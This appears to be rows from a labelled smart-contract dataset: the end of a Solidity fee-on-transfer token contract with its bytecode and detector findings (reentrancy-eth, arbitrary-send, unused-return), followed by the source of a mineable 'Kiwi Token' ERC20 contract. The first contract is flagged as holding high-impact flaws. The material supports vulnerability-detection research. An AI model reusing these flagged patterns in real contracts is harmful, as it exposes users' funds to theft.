feeBasis.div(balanceOf(uniswapV2Pair).add(amount)); setFee(feeBasis); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 3000000000 * 10**9; _launchTime = block.timestamp; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function openTrading() public onlyOwner { tradingOpen = true; buyLimitEnd = block.timestamp + (120 seconds); } function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } // fallback in case contract is not releasing tokens fast enough function setFeeRate(uint256 rate) external { require(_msgSender() == _FeeAddress); require(rate < 51, "Rate can't exceed 50%"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setCooldownEnabled(bool onoff) external onlyOwner() { _cooldownEnabled = onoff; emit CooldownEnabledUpdated(_cooldownEnabled); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function timeToBuy(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].buy; } function timeToSell(address buyer) public view returns (uint) { return block.timestamp - cooldown[buyer].sell; } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
0x6080604052600436106101395760003560e01c8063715018a6116100ab578063a9fc35a91161006f578063a9fc35a914610376578063c3c8cd8014610396578063c9567bf9146103ab578063db92dbb6146103c0578063dd62ed3e146103d5578063e8078d941461041b57600080fd5b8063715018a6146102c85780638da5cb5b146102dd57806395d89b4114610305578063a9059cbb14610337578063a985ceef1461035757600080fd5b8063313ce567116100fd578063313ce5671461021557806345596e2e146102315780635932ead11461025357806368a3a6a5146102735780636fc3eaec1461029357806370a08231146102a857600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101e057806327f3a72a1461020057600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152695748454e204d4f4f4e3f60b01b60208201525b6040516101819190611bec565b60405180910390f35b34801561019657600080fd5b506101aa6101a5366004611b44565b610430565b6040519015158152602001610181565b3480156101c657600080fd5b50683635c9adc5dea000005b604051908152602001610181565b3480156101ec57600080fd5b506101aa6101fb366004611b04565b610447565b34801561020c57600080fd5b506101d26104b0565b34801561022157600080fd5b5060405160098152602001610181565b34801561023d57600080fd5b5061025161024c366004611ba7565b6104c0565b005b34801561025f57600080fd5b5061025161026e366004611b6f565b610569565b34801561027f57600080fd5b506101d261028e366004611a94565b6105e8565b34801561029f57600080fd5b5061025161060b565b3480156102b457600080fd5b506101d26102c3366004611a94565b610638565b3480156102d457600080fd5b5061025161065a565b3480156102e957600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561031157600080fd5b5060408051808201909152600981526802ba422a726a7a7a7160bd1b6020820152610174565b34801561034357600080fd5b506101aa610352366004611b44565b6106ce565b34801561036357600080fd5b50601454600160a81b900460ff166101aa565b34801561038257600080fd5b506101d2610391366004611a94565b6106db565b3480156103a257600080fd5b50610251610701565b3480156103b757600080fd5b50610251610737565b3480156103cc57600080fd5b506101d2610784565b3480156103e157600080fd5b506101d26103f0366004611acc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561042757600080fd5b5061025161079c565b600061043d338484610b4f565b5060015b92915050565b6000610454848484610c73565b6104a684336104a185604051806060016040528060288152602001611dc5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611216565b610b4f565b5060019392505050565b60006104bb30610638565b905090565b6011546001600160a01b0316336001600160a01b0316146104e057600080fd5b6033811061052d5760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6000546001600160a01b031633146105935760405162461bcd60e51b815260040161052490611c3f565b6014805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f287069060200161055e565b6001600160a01b0381166000908152600660205260408120546104419042611d2f565b6011546001600160a01b0316336001600160a01b03161461062b57600080fd5b4761063581611250565b50565b6001600160a01b038116600090815260026020526040812054610441906112d5565b6000546001600160a01b031633146106845760405162461bcd60e51b815260040161052490611c3f565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061043d338484610c73565b6001600160a01b0381166000908152600660205260408120600101546104419042611d2f565b6011546001600160a01b0316336001600160a01b03161461072157600080fd5b600061072c30610638565b905061063581611359565b6000546001600160a01b031633146107615760405162461bcd60e51b815260040161052490611c3f565b6014805460ff60a01b1916600160a01b17905561077f426078611ce4565b601555565b6014546000906104bb906001600160a01b0316610638565b6000546001600160a01b031633146107c65760405162461bcd60e51b815260040161052490611c3f565b601454600160a01b900460ff16156108205760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610524565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561085d3082683635c9adc5dea00000610b4f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561089657600080fd5b505afa1580156108aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ce9190611ab0565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561091657600080fd5b505afa15801561092a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061094e9190611ab0565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561099657600080fd5b505af11580156109aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ce9190611ab0565b601480546001600160a01b0319166001600160a01b039283161790556013541663f305d71947306109fe81610638565b600080610a136000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a7657600080fd5b505af1158015610a8a573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aaf9190611bbf565b50506729a2241af62c00006010555042600d5560145460135460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b1357600080fd5b505af1158015610b27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b4b9190611b8b565b5050565b6001600160a01b038316610bb15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610524565b6001600160a01b038216610c125760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610524565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610524565b6001600160a01b038216610d395760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610524565b60008111610d9b5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610524565b6000546001600160a01b03848116911614801590610dc757506000546001600160a01b03838116911614155b156111b957601454600160a81b900460ff1615610e47573360009081526006602052604090206002015460ff16610e4757604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6014546001600160a01b038481169116148015610e7257506013546001600160a01b03838116911614155b8015610e9757506001600160a01b03821660009081526005602052604090205460ff16155b15610ffb57601454600160a01b900460ff16610ef55760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610524565b60066009556004600a55601454600160a81b900460ff1615610fc157426015541115610fc157601054811115610f2a57600080fd5b6001600160a01b0382166000908152600660205260409020544211610f9c5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610524565b610fa742602d611ce4565b6001600160a01b0383166000908152600660205260409020555b601454600160a81b900460ff1615610ffb57610fde42600f611ce4565b6001600160a01b0383166000908152600660205260409020600101555b600061100630610638565b601454909150600160b01b900460ff1615801561103157506014546001600160a01b03858116911614155b80156110465750601454600160a01b900460ff165b156111b757601454600160a81b900460ff16156110d3576001600160a01b03841660009081526006602052604090206001015442116110d35760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610524565b601454600160b81b900460ff16156111385760006110fc600c54846114fe90919063ffffffff16565b60145490915061112b9061112490859061111e906001600160a01b0316610638565b9061157d565b82906115dc565b90506111368161161e565b505b80156111a557600b5460145461116e916064916111689190611162906001600160a01b0316610638565b906114fe565b906115dc565b81111561119c57600b54601454611199916064916111689190611162906001600160a01b0316610638565b90505b6111a581611359565b4780156111b5576111b547611250565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff16806111fb57506001600160a01b03831660009081526005602052604090205460ff165b15611204575060005b6112108484848461168c565b50505050565b6000818484111561123a5760405162461bcd60e51b81526004016105249190611bec565b5060006112478486611d2f565b95945050505050565b6011546001600160a01b03166108fc61126a8360026115dc565b6040518115909202916000818181858888f19350505050158015611292573d6000803e3d6000fd5b506012546001600160a01b03166108fc6112ad8360026115dc565b6040518115909202916000818181858888f19350505050158015610b4b573d6000803e3d6000fd5b600060075482111561133c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610524565b60006113466116ba565b905061135283826115dc565b9392505050565b6014805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113af57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561140357600080fd5b505afa158015611417573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061143b9190611ab0565b8160018151811061145c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526013546114829130911684610b4f565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906114bb908590600090869030904290600401611c74565b600060405180830381600087803b1580156114d557600080fd5b505af11580156114e9573d6000803e3d6000fd5b50506014805460ff60b01b1916905550505050565b60008261150d57506000610441565b60006115198385611d10565b9050826115268583611cfc565b146113525760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610524565b60008061158a8385611ce4565b9050838110156113525760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610524565b600061135283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116dd565b600a808210156116305750600a611644565b602882111561164157506028611644565b50805b61164f81600261170b565b15611662578061165e81611d46565b9150505b611672600a6111688360066114fe565b600955611685600a6111688360046114fe565b600a555050565b806116995761169961174d565b6116a484848461177b565b8061121057611210600e54600955600f54600a55565b60008060006116c7611872565b90925090506116d682826115dc565b9250505090565b600081836116fe5760405162461bcd60e51b81526004016105249190611bec565b5060006112478486611cfc565b600061135283836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f00000000000000008152506118b4565b60095415801561175d5750600a54155b1561176457565b60098054600e55600a8054600f5560009182905555565b60008060008060008061178d876118e8565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506117bf9087611945565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546117ee908661157d565b6001600160a01b03891660009081526002602052604090205561181081611987565b61181a84836119d1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161185f91815260200190565b60405180910390a3505050505050505050565b6007546000908190683635c9adc5dea0000061188e82826115dc565b8210156118ab57505060075492683635c9adc5dea0000092509050565b90939092509050565b600081836118d55760405162461bcd60e51b81526004016105249190611bec565b506118e08385611d61565b949350505050565b60008060008060008060008060006119058a600954600a546119f5565b92509250925060006119156116ba565b905060008060006119288e878787611a44565b919e509c509a509598509396509194505050505091939550919395565b600061135283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611216565b60006119916116ba565b9050600061199f83836114fe565b306000908152600260205260409020549091506119bc908261157d565b30600090815260026020526040902055505050565b6007546119de9083611945565b6007556008546119ee908261157d565b6008555050565b6000808080611a09606461116889896114fe565b90506000611a1c60646111688a896114fe565b90506000611a3482611a2e8b86611945565b90611945565b9992985090965090945050505050565b6000808080611a5388866114fe565b90506000611a6188876114fe565b90506000611a6f88886114fe565b90506000611a8182611a2e8686611945565b939b939a50919850919650505050505050565b600060208284031215611aa5578081fd5b813561135281611da1565b600060208284031215611ac1578081fd5b815161135281611da1565b60008060408385031215611ade578081fd5b8235611ae981611da1565b91506020830135611af981611da1565b809150509250929050565b600080600060608486031215611b18578081fd5b8335611b2381611da1565b92506020840135611b3381611da1565b929592945050506040919091013590565b60008060408385031215611b56578182fd5b8235611b6181611da1565b946020939093013593505050565b600060208284031215611b80578081fd5b813561135281611db6565b600060208284031215611b9c578081fd5b815161135281611db6565b600060208284031215611bb8578081fd5b5035919050565b600080600060608486031215611bd3578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c1857858101830151858201604001528201611bfc565b81811115611c295783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611cc35784516001600160a01b031683529383019391830191600101611c9e565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611cf757611cf7611d75565b500190565b600082611d0b57611d0b611d8b565b500490565b6000816000190483118215151615611d2a57611d2a611d75565b500290565b600082821015611d4157611d41611d75565b500390565b6000600019821415611d5a57611d5a611d75565b5060010190565b600082611d7057611d70611d8b565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b6001600160a01b038116811461063557600080fd5b801515811461063557600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201c3e58ac32dd0f53a141cefc69ebae42fe82c605daee90d7c66f6694dafefd8f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
2,536
0x2bf91c18cd4ae9c2f2858ef9fe518180f7b5096d
pragma solidity ^0.4.18; // ---------------------------------------------------------------------------- // &#39;Kiwi Token&#39; contract // Mineable ERC20 Token using Proof Of Work // // Symbol : Kiwi // Name : Kiwi Token // Total supply: 7 000 000 000 (7 Billion) // Decimals : 8 // // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // Safe maths // ---------------------------------------------------------------------------- library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } library ExtendedMath { //return the smaller of the two inputs (a or b) function limitLessThan(uint a, uint b) internal pure returns (uint c) { if(a > b) return b; return a; } } // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Contract function to receive approval and execute function in one call // // Borrowed from MiniMeToken // ---------------------------------------------------------------------------- contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } interface EIP918Interface { function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); function getChallengeNumber() public constant returns (bytes32); function getMiningDifficulty() public constant returns (uint); function getMiningTarget() public constant returns (uint); function getMiningReward() public constant returns (uint); event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); } // ---------------------------------------------------------------------------- // Mineable ERC918 / ERC20 Token // ---------------------------------------------------------------------------- contract _KiwiToken is ERC20Interface, Owned, EIP918Interface { using SafeMath for uint; using ExtendedMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; uint public latestDifficultyPeriodStarted; uint public epochCount; //number of &#39;blocks&#39; mined uint public _BLOCKS_PER_READJUSTMENT = 512; //a little number and a big number uint public _MINIMUM_TARGET = 2**16; uint public _MAXIMUM_TARGET = 2**234; uint public miningTarget; bytes32 public challengeNumber; //generate a new one when a new reward is minted uint public rewardEra; uint public maxSupplyForEra; address public lastRewardTo; uint public lastRewardAmount; uint public lastRewardEthBlockNumber; bool locked = false; mapping(bytes32 => bytes32) solutionForChallenge; uint public tokensMinted; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function _KiwiToken() public onlyOwner{ symbol = "KIWI"; name = "KIWI Token"; decimals = 8; _totalSupply = 7000000000 * 10**uint(decimals); if(locked) revert(); locked = true; tokensMinted = 0; rewardEra = 0; maxSupplyForEra = _totalSupply.div(2); miningTarget = _MAXIMUM_TARGET; latestDifficultyPeriodStarted = block.number; _startNewMiningEpoch(); } function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) { //the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender&#39;s address to prevent MITM attacks bytes32 digest = keccak256(challengeNumber, msg.sender, nonce ); //the challenge digest must match the expected if (digest != challenge_digest) revert(); //the digest must be smaller than the target if(uint256(digest) > miningTarget) revert(); //only allow one reward for each challenge bytes32 solution = solutionForChallenge[challengeNumber]; solutionForChallenge[challengeNumber] = digest; if(solution != 0x0) revert(); //prevent the same answer from awarding twice uint reward_amount = getMiningReward(); balances[msg.sender] = balances[msg.sender].add(reward_amount); tokensMinted = tokensMinted.add(reward_amount); //Cannot mint more tokens than there are assert(tokensMinted <= maxSupplyForEra); //set readonly diagnostics data lastRewardTo = msg.sender; lastRewardAmount = reward_amount; lastRewardEthBlockNumber = block.number; _startNewMiningEpoch(); Mint(msg.sender, reward_amount, epochCount, challengeNumber ); return true; } //a new &#39;block&#39; to be mined function _startNewMiningEpoch() internal { //if max supply for the era will be exceeded next reward round then enter the new era before that happens //40 is the final reward era, almost all tokens minted //once the final era is reached, more tokens will not be given out because the assert function if( tokensMinted.add(getMiningReward()) > maxSupplyForEra && rewardEra < 39) { rewardEra = rewardEra + 1; } //set the next minted supply at which the era will change // total supply is 700000000000000000 because of 8 decimal places maxSupplyForEra = _totalSupply - _totalSupply.div( 2**(rewardEra + 1)); epochCount = epochCount.add(1); //every so often, readjust difficulty. Dont readjust when deploying if(epochCount % _BLOCKS_PER_READJUSTMENT == 0) { _reAdjustDifficulty(); } //make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks //do this last since this is a protection mechanism in the mint() function challengeNumber = block.blockhash(block.number - 1); } //readjust the target by 5 percent function _reAdjustDifficulty() internal { uint ethBlocksSinceLastDifficultyPeriod = block.number - latestDifficultyPeriodStarted; //assume 360 ethereum blocks per hour //we want miners to spend 2 minutes to mine each &#39;block&#39;, about 12 ethereum blocks = one kiwi epoch uint epochsMined = _BLOCKS_PER_READJUSTMENT; uint targetEthBlocksPerDiffPeriod = epochsMined * 12; //should be 12 times slower than ethereum //if there were less eth blocks passed in time than expected if( ethBlocksSinceLastDifficultyPeriod < targetEthBlocksPerDiffPeriod ) { uint excess_block_pct = (targetEthBlocksPerDiffPeriod.mul(100)).div( ethBlocksSinceLastDifficultyPeriod ); uint excess_block_pct_extra = excess_block_pct.sub(100).limitLessThan(1000); // If there were 5% more blocks mined than expected then this is 5. If there were 100% more blocks mined than expected then this is 100. //make it harder miningTarget = miningTarget.sub(miningTarget.div(2000).mul(excess_block_pct_extra)); //by up to 50 % }else{ uint shortage_block_pct = (ethBlocksSinceLastDifficultyPeriod.mul(100)).div( targetEthBlocksPerDiffPeriod ); uint shortage_block_pct_extra = shortage_block_pct.sub(100).limitLessThan(1000); //always between 0 and 1000 //make it easier miningTarget = miningTarget.add(miningTarget.div(2000).mul(shortage_block_pct_extra)); //by up to 50 % } latestDifficultyPeriodStarted = block.number; if(miningTarget < _MINIMUM_TARGET) //very difficult { miningTarget = _MINIMUM_TARGET; } if(miningTarget > _MAXIMUM_TARGET) //very easy { miningTarget = _MAXIMUM_TARGET; } } //this is a recent ethereum block hash, used to prevent pre-mining future blocks function getChallengeNumber() public constant returns (bytes32) { return challengeNumber; } //the number of zeroes the digest of the PoW solution requires. Auto adjusts function getMiningDifficulty() public constant returns (uint) { return _MAXIMUM_TARGET.div(miningTarget); } function getMiningTarget() public constant returns (uint) { return miningTarget; } //reward is cut in half every reward era (as tokens are mined) function getMiningReward() public constant returns (uint) { //every reward era, the reward amount halves. return (5000 * 10**uint(decimals) ).div( 2**rewardEra ) ; } //help debug mining software function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); return digest; } //help debug mining software function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) { bytes32 digest = keccak256(challenge_number,msg.sender,nonce); if(uint256(digest) > testTarget) revert(); return (digest == challenge_digest); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner&#39;s account to `to` account // - Owner&#39;s account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender&#39;s account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner&#39;s account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don&#39;t accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
